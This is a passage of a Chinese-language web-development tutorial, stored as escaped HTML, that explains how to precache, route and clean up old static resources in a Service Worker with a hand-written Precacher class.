function\">formatResource</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">searchKey<span class=\"token punctuation\">,</span> resource</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> originURL\n  <span class=\"token keyword\">let</span> cacheKeyURL\n  <span class=\"token comment\">// &#x5F53;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x4E3A;&#x5B57;&#x7B26;&#x4E32;&#x65F6;&#xFF0C;&#x8BF4;&#x660E;&#x8D44;&#x6E90; URL &#x5DF2;&#x7ECF;&#x5177;&#x6709;&#x552F;&#x4E00;&#x6027;</span>\n  <span class=\"token comment\">// &#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x62FF; URL &#x4F5C;&#x4E3A;&#x8D44;&#x6E90;&#x7684;&#x5B58;&#x50A8;&#x952E;&#x503C;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">typeof</span> resource <span class=\"token operator\">===</span> <span class=\"token string\">&apos;string&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    originURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\n    cacheKeyURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x5F53;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x4E3A;&#x5BF9;&#x8C61;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x4F7F;&#x7528; revision &#x6765;&#x751F;&#x6210;&#x8D44;&#x6E90;&#x5B58;&#x50A8;&#x952E;&#x503C;</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    originURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\n    cacheKeyURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\n    cacheKeyURL<span class=\"token punctuation\">.</span>searchParams<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span>searchKey<span class=\"token punctuation\">,</span> resource<span class=\"token punctuation\">.</span>revision<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">return</span> <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> originURL<span class=\"token punctuation\">.</span>href<span class=\"token punctuation\">,</span>\n    cacheKey<span class=\"token punctuation\">:</span> cacheKeyURL<span class=\"token punctuation\">.</span>href\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x6211;&#x4EEC;&#x5C31;&#x901A;&#x8FC7; Precacher &#x7B80;&#x5355;&#x5B9E;&#x73B0;&#x4E86;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;&#x3002;&#x5728;&#x4F7F;&#x7528;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5B9E;&#x4F8B;&#x5316; Precacher &#x540E;&#x8C03;&#x7528; precache &#x65B9;&#x6CD5;&#x4F20;&#x5165;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> precacher <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Precacher</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nprecacher<span class=\"token punctuation\">.</span><span class=\"token function\">precache</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;abc&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;1.0.1&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.abc.css&apos;</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\"><a name=\"&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;</h2>\n<p>&#x5F53;&#x65B0;&#x7684; Service Worker &#x5B89;&#x88C5;&#x5E76;&#x6FC0;&#x6D3B;&#x6210;&#x529F;&#x4E4B;&#x540E;&#xFF0C;&#x65E7;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x5C31;&#x57FA;&#x672C;&#x6CA1;&#x7528;&#x4E86;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x53CA;&#x65F6;&#x5BF9;&#x65E7;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x6E05;&#x7406;&#x3002;&#x6211;&#x4EEC;&#x4E00;&#x822C;&#x9009;&#x62E9; <code>activate</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x6765;&#x6267;&#x884C;&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;&#x5DE5;&#x4F5C;&#xFF0C;&#x6B64;&#x65F6; Service Worker &#x5DF2;&#x7ECF;&#x5B89;&#x88C5;&#x5B8C;&#x6210;&#xFF0C;&#x5E76;&#x4E14;&#x5DF2;&#x7ECF;&#x8FDB;&#x5165;&#x6FC0;&#x6D3B;&#x9636;&#x6BB5;&#xFF0C;&#x6FC0;&#x6D3B;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x65B0; Service Worker &#x5C31;&#x5DF2;&#x7ECF;&#x6B63;&#x5F0F;&#x63A5;&#x7BA1;&#x5E76;&#x5F00;&#x59CB;&#x5DE5;&#x4F5C;&#x4E86;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x8FD9;&#x4E2A;&#x9636;&#x6BB5;&#x6E05;&#x7406;&#x65E7;&#x7F13;&#x5B58;&#x4E0D;&#x4F1A;&#x5BF9;&#x65E7; Service Worker &#x9020;&#x6210;&#x5F71;&#x54CD;&#xFF0C;&#x5E76;&#x4E14;&#x5728; <code>activate</code> &#x4E8B;&#x4EF6;&#x7684;&#x56DE;&#x8C03;&#x5F53;&#x4E2D;&#xFF0C;&#x6E05;&#x7406;&#x8FC7;&#x7A0B;&#x5BFC;&#x81F4;&#x7684;&#x4EFB;&#x4F55;&#x51FA;&#x9519;&#x90FD;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x5230; Service Worker &#x7684;&#x6FC0;&#x6D3B;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x5F80; Precacher &#x7C7B;&#x6DFB;&#x52A0;&#x5BF9; <code>activate</code> &#x4E8B;&#x4EF6;&#x76D1;&#x542C;&#x4EE5;&#x53CA;&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;&#x903B;&#x8F91;&#x5373;&#x53EF;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">Precacher</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n  <span class=\"token function\">initEventListener</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// install ...</span>\n\n    <span class=\"token comment\">// &#x6DFB;&#x52A0; activate &#x4E8B;&#x4EF6;&#x76D1;&#x542C;&#x6E05;&#x7406;&#x65E7;&#x8D44;&#x6E90;</span>\n    self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>\n        <span class=\"token comment\">// &#x6E05;&#x7406;&#x65E7;&#x7F13;&#x5B58;</span>\n        <span class=\"token function\">clearOldResources</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; <code>clearOldResources()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x4E86;&#x5BF9;&#x65E7;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x6E05;&#x7406;&#xFF0C;&#x5728;&#x5B9E;&#x73B0;&#x601D;&#x8DEF;&#x4E0A;&#x4E0E;&#x524D;&#x9762;&#x7684; <code>cacheResources()</code> &#x65B9;&#x6CD5;&#x7C7B;&#x4F3C;&#xFF0C;&#x901A;&#x8FC7;&#x6BD4;&#x5BF9;&#x5DF2;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x548C;&#x5F53;&#x524D;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x6BD4;&#x5BF9;&#xFF0C;&#x627E;&#x51FA;&#x65E7;&#x8D44;&#x6E90;&#x5E76;&#x5220;&#x9664;&#x3002;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">clearOldResources</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cacheName<span class=\"token punctuation\">,</span> resources</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> urls <span class=\"token operator\">=</span> resources<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resource</span> <span class=\"token operator\">=&gt;</span> resource<span class=\"token punctuation\">.</span>cacheKey<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x9996;&#x5148;&#x6253;&#x5F00;&#x5E76;&#x7F13;&#x5B58; CacheStorage &#x5BF9;&#x8C61;</span>\n  <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5DF2;&#x5B58;&#x50A8;&#x7684;&#x6240;&#x6709;&#x8D44;&#x6E90;&#x952E;&#x503C;&#x4FE1;&#x606F;</span>\n  <span class=\"token keyword\">let</span> requests <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">keys</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x627E;&#x51FA;&#x65B0;&#x589E;&#x7684; URL</span>\n  <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5DF2;&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90; URL</span>\n  <span class=\"token keyword\">let</span> cachedURLs <span class=\"token operator\">=</span> requests<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x627E;&#x51FA;&#x4E0D;&#x5728;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x4FE1;&#x606F;&#x5F53;&#x4E2D;&#x7684; URL</span>\n  <span class=\"token keyword\">let</span> oldURLs <span class=\"token operator\">=</span> cachedURLs<span class=\"token punctuation\">.</span><span class=\"token function\">filter</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">url</span> <span class=\"token operator\">=&gt;</span> <span class=\"token operator\">!</span>urls<span class=\"token punctuation\">.</span><span class=\"token function\">includes</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6700;&#x540E;&#x8C03;&#x7528; cache.delete() &#x5220;&#x9664;&#x65E7;&#x8D44;&#x6E90;</span>\n  <span class=\"token keyword\">await</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span>oldURLs<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">url</span> <span class=\"token operator\">=&gt;</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;</h2>\n<p>&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x5728;&#x52A0;&#x8F7D;&#x673A;&#x5236;&#x4FDD;&#x8BC1;&#x4E86; Service Worker &#x5B89;&#x88C5;&#x5E76;&#x6FC0;&#x6D3B;&#x5B8C;&#x6210;&#x65F6;&#xFF0C;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x5DF2;&#x5168;&#x90E8;&#x5904;&#x4E8E;&#x53EF;&#x7528;&#x72B6;&#x6001;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x5BF9;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x91C7;&#x7528; Cache First &#x751A;&#x81F3; Cache Only &#x7684;&#x7B56;&#x7565;&#x3002;&#x7531;&#x4E8E;&#x5728;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x9636;&#x6BB5;&#x5F53;&#x4E2D;&#xFF0C;&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x91CD;&#x540D;&#x800C;&#x4F7F;&#x7528;&#x4FEE;&#x6539;&#x8FC7;&#x7684; URL &#x4F5C;&#x4E3A;&#x5B58;&#x50A8;&#x952E;&#x503C;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x62E6;&#x622A;&#x5230;&#x7684;&#x9884;&#x7F13;&#x5B58;&#x8BF7;&#x6C42;&#xFF0C;&#x4E5F;&#x540C;&#x6837;&#x9700;&#x8981;&#x7ECF;&#x8FC7;&#x4FEE;&#x6539;&#x624D;&#x80FD;&#x591F;&#x67E5;&#x627E;&#x5230;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x7ED9; Precacher &#x6DFB;&#x52A0; <code>addRoute()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x7684;&#x62E6;&#x622A;&#x4E0E;&#x54CD;&#x5E94;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">Precacher</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token function\">addRoute</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// addRoute() &#x65B9;&#x6CD5;&#x53EA;&#x9700;&#x6267;&#x884C;&#x4E00;&#x6B21;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>hasAdded<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>hasAdded <span class=\"token operator\">=</span> <span class=\"token boolean\">true</span>\n\n    <span class=\"token keyword\">const</span> cacheFirstHandler <span class=\"token operator\">=</span> <span class=\"token function\">cacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      cacheName<span class=\"token punctuation\">:</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token keyword\">const</span> router <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Router</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    router<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n      <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">.</span><span class=\"token function\">some</span><span class=\"token punctuation\">(</span>\n          <span class=\"token parameter\">resource</span> <span class=\"token operator\">=&gt;</span> resource<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> request<span class=\"token punctuation\">.</span>url\n        <span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n      <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> resource <span class=\"token keyword\">of</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url <span class=\"token operator\">===</span> request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">return</span> <span class=\"token function\">cacheFirstHandler</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>cacheKey<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n          <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x5C06; precache() &#x548C; addRoute() &#x5408;&#x6210;&#x4E00;&#x4E2A;&#x65B9;&#x6CD5;</span>\n  <span class=\"token function\">precacheAndRoute</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">resources</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">precache</span><span class=\"token punctuation\">(</span>resources<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">addRoute</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x76F4;&#x63A5;&#x8C03;&#x7528; <code>precacheAndRoute()</code> &#x65B9;&#x6CD5;&#x5C31;&#x80FD;&#x591F;&#x5B9E;&#x73B0;&#x8D44;&#x6E90;&#x9884;&#x7F13;&#x5B58;&#x7684;&#x540C;&#x65F6;&#x4E5F;&#x8BBE;&#x7F6E;&#x597D;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x54CD;&#x5E94;&#x4E86;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> precacher <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Precacher</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nprecacher<span class=\"token punctuation\">.</span><span class=\"token function\">precacheAndRoute</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;abc&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;1.0.1&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.abc.css&apos;</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\"><a name=\"&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;</h2>\n<p>&#x672C;&#x8282;&#x7684;&#x793A;&#x4F8B;&#x5C06;&#x5728;&#x4E0A;&#x4E00;&#x8282;&#x7684;&#x793A;&#x4F8B;&#x57FA;&#x7840;&#x4E0A;&#x589E;&#x52A0;&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#xFF0C;&#x76F8;&#x5173;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x6258;&#x7BA1;&#x5728; <a href=\"https://github.com/lavas-project/pwa-book-demo/chapter05/precache\" target=\"_blank\">GitHub</a> &#x4E0A;&#x9762;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x81EA;&#x884C;&#x5C06;&#x4EE3;&#x7801;&#x4E0B;&#x8F7D;&#x5230;&#x672C;&#x5730;&#x8FD0;&#x884C;&#x548C;&#x4FEE;&#x6539;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x4ECE;&#x793A;&#x4F8B;&#x7684;&#x8D44;&#x6E90;&#x5206;&#x6790;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;&#x7F51;&#x9875;&#x7684; App Shell &#x90E8;&#x5206;&#x5C5E;&#x4E8E;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x8FDB;&#x884C;&#x9884;&#x7F13;&#x5B58;&#x3002;</p>\n<p>&#x7136;&#x540E;&#x9700;&#x8981;&#x83B7;&#x53D6;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684; md5 &#x503C;&#xFF0C;&#x5E76;&#x4E14;&#x5C06;&#x5F97;&#x5230;&#x7684; md5 &#x503C;&#x6DFB;&#x52A0;&#x5230; index.js &#x548C; index.css &#x7684;&#x6587;&#x4EF6;&#x540D;&#x5F53;&#x4E2D;&#xFF0C;&#x7531;&#x4E8E; index.html &#x7684; URL &#x4E0D;&#x5141;&#x8BB8;&#x53D1;&#x751F;&#x53D8;&#x5316;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x751F;&#x6210;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x5217;&#x8868;&#x7684;&#x65F6;&#x5019;&#x7ED9; index.html &#x7684;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x63CF;&#x8FF0;&#x6DFB;&#x52A0; revision&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resources <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;5ed70e0c237b4c66&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.f8666b443c7a0e84.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/index.1236d1250f7ffbdc.css&apos;</span>\n<span class=\"token punctuation\">]</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x4FEE;&#x6539; Service Worker&#xFF0C;&#x6DFB;&#x52A0;&#x9884;&#x7F13;&#x5B58;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#xFF0C;&#x540C;&#x65F6;&#x79FB;&#x9664;&#x91CD;&#x590D;&#x7684;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#x5373;&#x53EF;&#x3002;&#x5229;&#x7528;&#x4E0A;&#x9762;&#x5B9E;&#x73B0;&#x7684; Precacher &#x7C7B;&#x53EF;&#x4EE5;&#x975E;&#x5E38;&#x65B9;&#x4FBF;&#x5730;&#x5B9E;&#x73B0;&#x9884;&#x7F13;&#x5B58;&#x89C4;&#x5219;&#x7684;&#x6DFB;&#x52A0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x9884;&#x7F13;&#x5B58;</span>\n<span class=\"token keyword\">let</span> precacher <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Precacher</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nprecacher<span class=\"token punctuation\">.</span><span class=\"token function\">precacheAndRoute</span><span class=\"token punctuation\">(</span>resources<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x52A8;&#x6001;&#x7F13;&#x5B58;</span>\n<span class=\"token keyword\">var</span> router <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Router</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5220;&#x9664;&#x9884;&#x7F13;&#x5B58;&#x5DF2;&#x7ECF;&#x5904;&#x7406;&#x7684;&#x8DEF;&#x7531;</span>\n<span class=\"token comment\">// router.registerRoute(/\\/index\\.(html|css|js)$/, cacheFirst())</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token 